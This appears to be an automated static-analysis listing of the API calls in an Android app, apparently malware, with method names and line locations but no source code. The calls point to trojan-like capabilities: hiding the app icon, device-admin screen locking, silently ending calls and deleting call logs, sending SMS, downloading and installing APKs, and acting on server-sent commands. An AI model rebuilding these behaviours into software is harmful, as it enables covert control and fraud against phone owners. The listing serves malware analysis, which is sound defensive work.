API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:65 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:68 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:70 Show source
API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:85 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:88 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:90 Show source
API: com.example.adt.App->getApps at com.example.adt.CoreService$HTRunnable.run:99 Show source
API: java.net.URLEncoder->encode at com.example.adt.CoreService$HTRunnable.run:119 Show source
API: java.util.Calendar->getInstance at com.example.adt.CoreService$HTRunnable.run:126 Show source
API: java.util.Calendar->getTimeInMillis at com.example.adt.CoreService$HTRunnable.run:129 Show source
API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:132 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:135 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:137 Show source
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:148 Show source
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:157 Show source
API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:160 Show source
API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:181 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:184 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:188 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:193 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:200 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:205 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:212 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:217 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:223 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:228 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:234 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:239 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:246 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:251 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:258 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:263 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:270 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:275 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:282 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:287 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:294 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:299 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:306 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:311 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:318 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:321 Show source
API: java.lang.Thread-><init> at com.example.adt.CoreService$HTRunnable.run:335 Show source
API: java.lang.Thread->start at com.example.adt.CoreService$HTRunnable.run:337 Show source
API: java.lang.InterruptedException->printStackTrace at com.example.adt.CoreService$HTRunnable.run:341 Show source
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:354 Show source
API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:357 Show source
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:372 Show source
API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:375 Show source
API: android.content.Intent->getAction at com.example.adt.CoreService$MyBroadcastReciver.onReceive:5 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:10 Show source
API: android.content.Intent->getBooleanExtra at com.example.adt.CoreService$MyBroadcastReciver.onReceive:16 Show source
API: android.content.Intent->getStringExtra at com.example.adt.CoreService$MyBroadcastReciver.onReceive:21 Show source
API: java.lang.String->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:24 Show source
API: java.net.URLDecoder->decode at com.example.adt.CoreService$MyBroadcastReciver.onReceive:27 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:33 Show source
API: java.lang.String->split at com.example.adt.CoreService$MyBroadcastReciver.onReceive:39 Show source
API: java.lang.String->valueOf at com.example.adt.CoreService$MyBroadcastReciver.onReceive:71 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:74 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyBroadcastReciver.onReceive:78 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:81 Show source
API: java.io.PrintStream->println at com.example.adt.CoreService$MyBroadcastReciver.onReceive:92 Show source
API: java.lang.String->valueOf at com.example.adt.CoreService$MyBroadcastReciver.onReceive:103 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:106 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyBroadcastReciver.onReceive:110 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:113 Show source
API: com.example.adt.CoreService->showNofity at com.example.adt.CoreService$MyBroadcastReciver.onReceive:118 Show source
API: android.app.AlertDialog$Builder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:123 Show source
API: android.app.AlertDialog$Builder->setTitle at com.example.adt.CoreService$MyBroadcastReciver.onReceive:129 Show source
API: java.lang.String->valueOf at com.example.adt.CoreService$MyBroadcastReciver.onReceive:136 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:139 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyBroadcastReciver.onReceive:143 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:146 Show source
API: android.app.AlertDialog$Builder->setMessage at com.example.adt.CoreService$MyBroadcastReciver.onReceive:149 Show source
API: android.app.AlertDialog$Builder->setPositiveButton at com.example.adt.CoreService$MyBroadcastReciver.onReceive:158 Show source
API: android.app.AlertDialog$Builder->setNegativeButton at com.example.adt.CoreService$MyBroadcastReciver.onReceive:167 Show source
API: android.app.AlertDialog$Builder->create at com.example.adt.CoreService$MyBroadcastReciver.onReceive:169 Show source
API: android.app.AlertDialog->getWindow at com.example.adt.CoreService$MyBroadcastReciver.onReceive:172 Show source
API: android.view.Window->setType at com.example.adt.CoreService$MyBroadcastReciver.onReceive:176 Show source
API: android.app.AlertDialog->show at com.example.adt.CoreService$MyBroadcastReciver.onReceive:178 Show source
API: java.io.PrintStream->println at com.example.adt.CoreService$MyBroadcastReciver.onReceive:184 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:188 Show source
API: com.example.adt.CoreService->uninstallAPK at com.example.adt.CoreService$MyBroadcastReciver.onReceive:196 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:200 Show source
API: android.content.Intent->getExtras at com.example.adt.CoreService$MyBroadcastReciver.onReceive:204 Show source
API: android.os.Bundle->getString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:211 Show source
API: com.example.adt.CoreService->autoChangeApk at com.example.adt.CoreService$MyBroadcastReciver.onReceive:214 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:218 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:228 Show source
API: android.content.BroadcastReceiver-><init> at ..:4 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.util.Calendar->getInstance at com.example.adt.CoreService$MyOrderRunnable.run:3 Show source
API: java.util.Calendar->getTimeInMillis at com.example.adt.CoreService$MyOrderRunnable.run:6 Show source
API: java.lang.String->valueOf at com.example.adt.CoreService$MyOrderRunnable.run:9 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:12 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:14 Show source
API: java.lang.String->valueOf at com.example.adt.CoreService$MyOrderRunnable.run:29 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:32 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:36 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:41 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:48 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:53 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:60 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:65 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:68 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:71 Show source
API: java.lang.String->trim at com.example.adt.CoreService$MyOrderRunnable.run:86 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:91 Show source
API: org.json.JSONObject-><init> at com.example.adt.CoreService$MyOrderRunnable.run:96 Show source
API: org.json.JSONObject-><init> at com.example.adt.CoreService$MyOrderRunnable.run:99 Show source
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:103 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:111 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:113 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:116 Show source
API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:119 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:123 Show source
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:130 Show source
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:135 Show source
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:142 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:149 Show source
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:155 Show source
API: java.lang.Integer->parseInt at com.example.adt.CoreService$MyOrderRunnable.run:158 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:169 Show source
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:175 Show source
API: java.lang.Integer->parseInt at com.example.adt.CoreService$MyOrderRunnable.run:178 Show source
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:189 Show source
API: java.lang.Integer->parseInt at com.example.adt.CoreService$MyOrderRunnable.run:192 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:196 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:205 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:209 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:212 Show source
API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:215 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:226 Show source
API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:234 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:245 Show source
API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:253 Show source
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:262 Show source
API: java.lang.String->trim at com.example.adt.CoreService$MyOrderRunnable.run:265 Show source
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:272 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:279 Show source
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:283 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:286 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:289 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:304 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:308 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:311 Show source
API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:314 Show source
API: org.json.JSONException->printStackTrace at com.example.adt.CoreService$MyOrderRunnable.run:318 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyRunnable.run:18 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyRunnable.run:20 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyRunnable.run:23 Show source
API: java.io.PrintStream->println at com.example.adt.CoreService$MyRunnable.run:26 Show source
API: java.lang.Object-><init> at ..:5 Show source
API: java.io.File->getName at com.example.adt.DownLoad.openFile:5 Show source
API: android.util.Log->e at com.example.adt.DownLoad.openFile:8 Show source
API: android.content.Intent-><init> at com.example.adt.DownLoad.openFile:11 Show source
API: android.content.Intent->addFlags at com.example.adt.DownLoad.openFile:14 Show source
API: android.content.Intent->setAction at com.example.adt.DownLoad.openFile:18 Show source
API: android.net.Uri->fromFile at com.example.adt.DownLoad.openFile:20 Show source
API: android.content.Intent->setDataAndType at com.example.adt.DownLoad.openFile:25 Show source
API: com.example.adt.CoreService->startActivity at com.example.adt.DownLoad.openFile:29 Show source
API: java.net.URL-><init> at com.example.adt.DownLoad.downloadFile:6 Show source
API: java.net.URL->openConnection at com.example.adt.DownLoad.downloadFile:8 Show source
API: java.net.HttpURLConnection->setDoInput at com.example.adt.DownLoad.downloadFile:13 Show source
API: java.net.HttpURLConnection->connect at com.example.adt.DownLoad.downloadFile:15 Show source
API: java.net.HttpURLConnection->getResponseCode at com.example.adt.DownLoad.downloadFile:17 Show source
API: java.net.HttpURLConnection->getInputStream at com.example.adt.DownLoad.downloadFile:22 Show source
API: java.io.FileOutputStream-><init> at com.example.adt.DownLoad.downloadFile:26 Show source
API: java.io.InputStream->read at com.example.adt.DownLoad.downloadFile:31 Show source
API: java.io.FileOutputStream->flush at com.example.adt.DownLoad.downloadFile:35 Show source
API: java.io.FileOutputStream->close at com.example.adt.DownLoad.downloadFile:37 Show source
API: java.io.InputStream->close at com.example.adt.DownLoad.downloadFile:39 Show source
API: java.io.FileOutputStream->write at com.example.adt.DownLoad.downloadFile:43 Show source
API: java.util.Calendar->getInstance at com.example.adt.DownLoad.downLoadFile:4 Show source
API: java.util.Calendar->getTimeInMillis at com.example.adt.DownLoad.downLoadFile:7 Show source
API: java.lang.String->valueOf at com.example.adt.DownLoad.downLoadFile:10 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.DownLoad.downLoadFile:13 Show source
API: java.lang.StringBuilder->append at com.example.adt.DownLoad.downLoadFile:17 Show source
API: java.lang.StringBuilder->toString at com.example.adt.DownLoad.downLoadFile:20 Show source
API: com.example.adt.Config->getSDPath at com.example.adt.DownLoad.downLoadFile:24 Show source
API: java.io.File-><init> at com.example.adt.DownLoad.downLoadFile:27 Show source
API: java.io.File->exists at com.example.adt.DownLoad.downLoadFile:29 Show source
API: java.io.File->mkdir at com.example.adt.DownLoad.downLoadFile:33 Show source
API: com.example.adt.Config->getSDPath at com.example.adt.DownLoad.downLoadFile:37 Show source
API: java.lang.String->valueOf at com.example.adt.DownLoad.downLoadFile:40 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.DownLoad.downLoadFile:43 Show source
API: java.lang.StringBuilder->append at com.example.adt.DownLoad.downLoadFile:47 Show source
API: java.lang.StringBuilder->append at com.example.adt.DownLoad.downLoadFile:50 Show source
API: java.lang.StringBuilder->toString at com.example.adt.DownLoad.downLoadFile:53 Show source
API: java.io.File-><init> at com.example.adt.DownLoad.downLoadFile:56 Show source
API: java.net.URL-><init> at com.example.adt.DownLoad.downLoadFile:59 Show source
API: java.net.URL->openConnection at com.example.adt.DownLoad.downLoadFile:61 Show source
API: java.net.HttpURLConnection->getInputStream at com.example.adt.DownLoad.downLoadFile:65 Show source
API: java.io.FileOutputStream-><init> at com.example.adt.DownLoad.downLoadFile:69 Show source
API: java.net.HttpURLConnection->connect at com.example.adt.DownLoad.downLoadFile:73 Show source
API: java.net.HttpURLConnection->getResponseCode at com.example.adt.DownLoad.downLoadFile:76 Show source
API: android.util.Log->i at com.example.adt.DownLoad.downLoadFile:85 Show source
API: java.net.HttpURLConnection->disconnect at com.example.adt.DownLoad.downLoadFile:87 Show source
API: java.io.FileOutputStream->close at com.example.adt.DownLoad.downLoadFile:89 Show source
API: java.io.InputStream->close at com.example.adt.DownLoad.downLoadFile:91 Show source
API: java.io.InputStream->read at com.example.adt.DownLoad.downLoadFile:95 Show source
API: java.io.FileOutputStream->write at com.example.adt.DownLoad.downLoadFile:100 Show source
API: java.io.IOException->printStackTrace at com.example.adt.DownLoad.downLoadFile:107 Show source
API: java.net.MalformedURLException->printStackTrace at com.example.adt.DownLoad.downLoadFile:111 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.lang.Object-><init> at com.example.adt.FileUtils.<init>:2 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.FileUtils.<init>:7 Show source
API: android.os.Environment->getExternalStorageDirectory at com.example.adt.FileUtils.<init>:9 Show source
API: java.lang.StringBuilder->append at com.example.adt.FileUtils.<init>:12 Show source
API: java.lang.StringBuilder->append at com.example.adt.FileUtils.<init>:17 Show source
API: java.lang.StringBuilder->toString at com.example.adt.FileUtils.<init>:20 Show source
API: java.lang.String->valueOf at ..:7 Show source
API: java.lang.StringBuilder-><init> at ..:10 Show source
API: java.lang.StringBuilder->append at ..:12 Show source
API: java.lang.StringBuilder->toString at ..:15 Show source
API: java.io.File-><init> at ..:18 Show source
API: java.io.File->exists at ..:20 Show source
API: java.lang.String->valueOf at ..:7 Show source
API: java.lang.StringBuilder-><init> at ..:10 Show source
API: java.lang.StringBuilder->append at ..:12 Show source
API: java.lang.StringBuilder->toString at ..:15 Show source
API: java.io.File-><init> at ..:18 Show source
API: java.io.File->mkdir at ..:20 Show source
API: java.lang.String->valueOf at ..:12 Show source
API: java.lang.StringBuilder-><init> at ..:15 Show source
API: java.lang.StringBuilder->append at ..:17 Show source
API: java.lang.StringBuilder->toString at ..:20 Show source
API: java.io.File-><init> at ..:23 Show source
API: java.io.File->createNewFile at ..:25 Show source
API: java.lang.String->valueOf at ..:10 Show source
API: java.lang.StringBuilder-><init> at ..:13 Show source
API: java.lang.StringBuilder->append at ..:15 Show source
API: java.lang.StringBuilder->toString at ..:18 Show source
API: java.io.FileOutputStream-><init> at ..:25 Show source
API: java.io.InputStream->read at ..:29 Show source
API: java.io.OutputStream->flush at ..:33 Show source
API: java.io.OutputStream->close at ..:35 Show source
API: java.io.OutputStream->write at ..:40 Show source
API: java.lang.Exception->printStackTrace at ..:45 Show source
API: java.io.OutputStream->close at ..:47 Show source
API: java.io.IOException->printStackTrace at ..:51 Show source
API: java.io.OutputStream->close at ..:55 Show source
API: java.io.IOException->printStackTrace at ..:59 Show source
API: java.io.IOException->printStackTrace at ..:63 Show source
API: java.lang.String->valueOf at ..:11 Show source
API: java.lang.StringBuilder-><init> at ..:14 Show source
API: java.lang.StringBuilder->append at ..:16 Show source
API: java.lang.StringBuilder->toString at ..:19 Show source
API: java.io.InputStream->close at ..:26 Show source
API: java.io.IOException->printStackTrace at ..:31 Show source
API: java.io.InputStream->close at ..:41 Show source
API: java.io.IOException->printStackTrace at ..:45 Show source
API: java.lang.Exception->printStackTrace at ..:49 Show source
API: java.io.InputStream->close at ..:51 Show source
API: java.io.IOException->printStackTrace at ..:55 Show source
API: java.io.InputStream->close at ..:59 Show source
API: java.io.IOException->printStackTrace at ..:63 Show source
API: java.io.InputStream->close at ..:66 Show source
API: java.io.IOException->printStackTrace at ..:71 Show source
API: java.lang.StringBuffer-><init> at com.example.adt.HttpDownloader.download:4 Show source
API: java.net.URL-><init> at com.example.adt.HttpDownloader.download:9 Show source
API: java.net.URL->openConnection at com.example.adt.HttpDownloader.download:14 Show source
API: java.net.HttpURLConnection->getInputStream at com.example.adt.HttpDownloader.download:20 Show source
API: java.io.InputStreamReader-><init> at com.example.adt.HttpDownloader.download:23 Show source
API: java.io.BufferedReader-><init> at com.example.adt.HttpDownloader.download:25 Show source
API: java.io.BufferedReader->readLine at com.example.adt.HttpDownloader.download:27 Show source
API: java.io.BufferedReader->close at com.example.adt.HttpDownloader.download:31 Show source
API: java.lang.StringBuffer->toString at com.example.adt.HttpDownloader.download:34 Show source
API: java.lang.StringBuffer->append at com.example.adt.HttpDownloader.download:38 Show source
API: java.lang.Exception->printStackTrace at com.example.adt.HttpDownloader.download:43 Show source
API: java.io.BufferedReader->close at com.example.adt.HttpDownloader.download:45 Show source
API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.download:49 Show source
API: java.io.BufferedReader->close at com.example.adt.HttpDownloader.download:53 Show source
API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.download:57 Show source
API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.download:61 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.net.URL-><init> at com.example.adt.HttpDownloader.getInputStreamFromURL:6 Show source
API: java.net.URL->openConnection at com.example.adt.HttpDownloader.getInputStreamFromURL:11 Show source
API: java.net.HttpURLConnection->getInputStream at com.example.adt.HttpDownloader.getInputStreamFromURL:17 Show source
API: java.net.MalformedURLException->printStackTrace at com.example.adt.HttpDownloader.getInputStreamFromURL:22 Show source
API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.getInputStreamFromURL:26 Show source
API: android.app.admin.DeviceAdminReceiver->onReceive at com.example.adt.LockReceiver.onReceive:4 Show source
API: java.io.PrintStream->println at com.example.adt.LockReceiver.onReceive:10 Show source
API: java.io.PrintStream->println at com.example.adt.LockReceiver.onEnabled:8 Show source
API: android.app.admin.DeviceAdminReceiver->onEnabled at com.example.adt.LockReceiver.onEnabled:10 Show source
API: android.app.admin.DeviceAdminReceiver-><init> at ..:2 Show source
API: java.io.PrintStream->println at com.example.adt.LockReceiver.onDisabled:8 Show source
API: android.app.admin.DeviceAdminReceiver->onDisabled at com.example.adt.LockReceiver.onDisabled:10 Show source
API: android.content.Intent-><init> at com.example.adt.MainActivity.activeManager:5 Show source
API: android.app.Activity-><init> at ..:2 Show source
API: com.example.adt.MainActivity->getPackageManager at ..:2 Show source
API: com.example.adt.MainActivity->getComponentName at ..:5 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:10 Show source
API: android.app.Activity->onCreate at com.example.adt.MainActivity.onCreate:3 Show source
API: com.example.adt.MainActivity->setContentView at com.example.adt.MainActivity.onCreate:9 Show source
API: com.example.adt.MainActivity->getComponentName at com.example.adt.MainActivity.onCreate:12 Show source
API: android.content.ComponentName-><init> at com.example.adt.MainActivity.onCreate:25 Show source
API: android.app.admin.DevicePolicyManager->lockNow at com.example.adt.MainActivity.onCreate:38 Show source
API: android.content.Intent-><init> at com.example.adt.MainActivity.onCreate:42 Show source
API: java.io.PrintStream->println at com.example.adt.MainActivity.onCreate:50 Show source
API: com.example.adt.MainActivity->HideIcon at com.example.adt.MainActivity.onCreate:56 Show source
API: com.example.adt.MainActivity->finish at com.example.adt.MainActivity.onCreate:58 Show source
API: com.example.adt.MainActivity->activeManager at com.example.adt.MainActivity.onCreate:61 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: com.example.adt.MainActivity->getPackageManager at ..:6 Show source
API: com.example.adt.MainActivity->getComponentName at ..:11 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:16 Show source
API: com.example.adt.MainActivity->finish at ..:20 Show source
API: android.content.Intent->getAction at com.example.adt.PhoneListener.onReceive:5 Show source
API: android.content.Intent->getStringExtra at com.example.adt.PhoneListener.onReceive:10 Show source
API: java.lang.String->equals at com.example.adt.PhoneListener.onReceive:16 Show source
API: com.example.adt.CoreService->getSystemService at com.example.adt.PhoneListener.onReceive:25 Show source
API: android.media.AudioManager->setVibrateSetting at com.example.adt.PhoneListener.onReceive:29 Show source
API: android.media.AudioManager->setRingerMode at com.example.adt.PhoneListener.onReceive:31 Show source
API: android.content.Context->getSystemService at com.example.adt.PhoneListener.onReceive:35 Show source
API: android.telephony.TelephonyManager->getCallState at com.example.adt.PhoneListener.onReceive:39 Show source
API: java.lang.Integer->valueOf at com.example.adt.PhoneListener.onReceive:52 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener.onReceive:60 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:64 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:69 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:72 Show source
API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener.onReceive:75 Show source
API: java.io.PrintStream->println at com.example.adt.PhoneListener.onReceive:78 Show source
API: java.lang.Integer->valueOf at com.example.adt.PhoneListener.onReceive:81 Show source
API: java.lang.Integer->equals at com.example.adt.PhoneListener.onReceive:84 Show source
API: com.example.adt.PhoneListener->endCall at com.example.adt.PhoneListener.onReceive:88 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener.onReceive:95 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:97 Show source
API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener.onReceive:100 Show source
API: java.io.PrintStream->println at com.example.adt.PhoneListener.onReceive:103 Show source
API: java.lang.Thread-><init> at com.example.adt.PhoneListener.onReceive:109 Show source
API: java.lang.Thread->start at com.example.adt.PhoneListener.onReceive:111 Show source
API: java.lang.Thread-><init> at com.example.adt.PhoneListener.onReceive:117 Show source
API: java.lang.Thread->start at com.example.adt.PhoneListener.onReceive:119 Show source
API: android.content.BroadcastReceiver-><init> at ..:2 Show source
API: com.example.adt.PhoneListener->DeleteCall at ..:4 Show source
API: com.example.adt.CoreService->getSystemService at com.example.adt.PhoneListener.endCall:6 Show source
API: java.lang.Class->getDeclaredMethod at com.example.adt.PhoneListener.endCall:15 Show source
API: java.lang.reflect.Method->setAccessible at com.example.adt.PhoneListener.endCall:19 Show source
API: java.lang.reflect.Method->invoke at com.example.adt.PhoneListener.endCall:22 Show source
API: com.example.adt.CoreService->getContentResolver at com.example.adt.PhoneListener.DeleteCall:5 Show source
API: android.content.ContentResolver->delete at com.example.adt.PhoneListener.DeleteCall:16 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.String->valueOf at com.example.adt.PhoneListener$1.run:17 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener$1.run:20 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:24 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:29 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:36 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:41 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:44 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:49 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:56 Show source
API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener$1.run:59 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener$1.run:67 Show source
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:69 Show source
API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener$1.run:72 Show source
API: java.io.PrintStream->println at com.example.adt.PhoneListener$1.run:75 Show source
API: java.lang.Thread->sleep at ..:12 Show source
API: com.example.adt.PhoneListener->access$0 at ..:20 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: com.example.adt.SMS$1-><init> at ..:9 Show source
API: java.net.URLDecoder->decode at com.example.adt.SMS.send:3 Show source
API: java.lang.String->split at com.example.adt.SMS.send:8 Show source
API: java.lang.Thread-><init> at com.example.adt.SMS.send:16 Show source
API: java.lang.Thread->start at com.example.adt.SMS.send:18 Show source
API: android.telephony.SmsManager->getDefault at com.example.adt.SMS.sendData:5 Show source
API: java.lang.String->length at com.example.adt.SMS.sendData:10 Show source
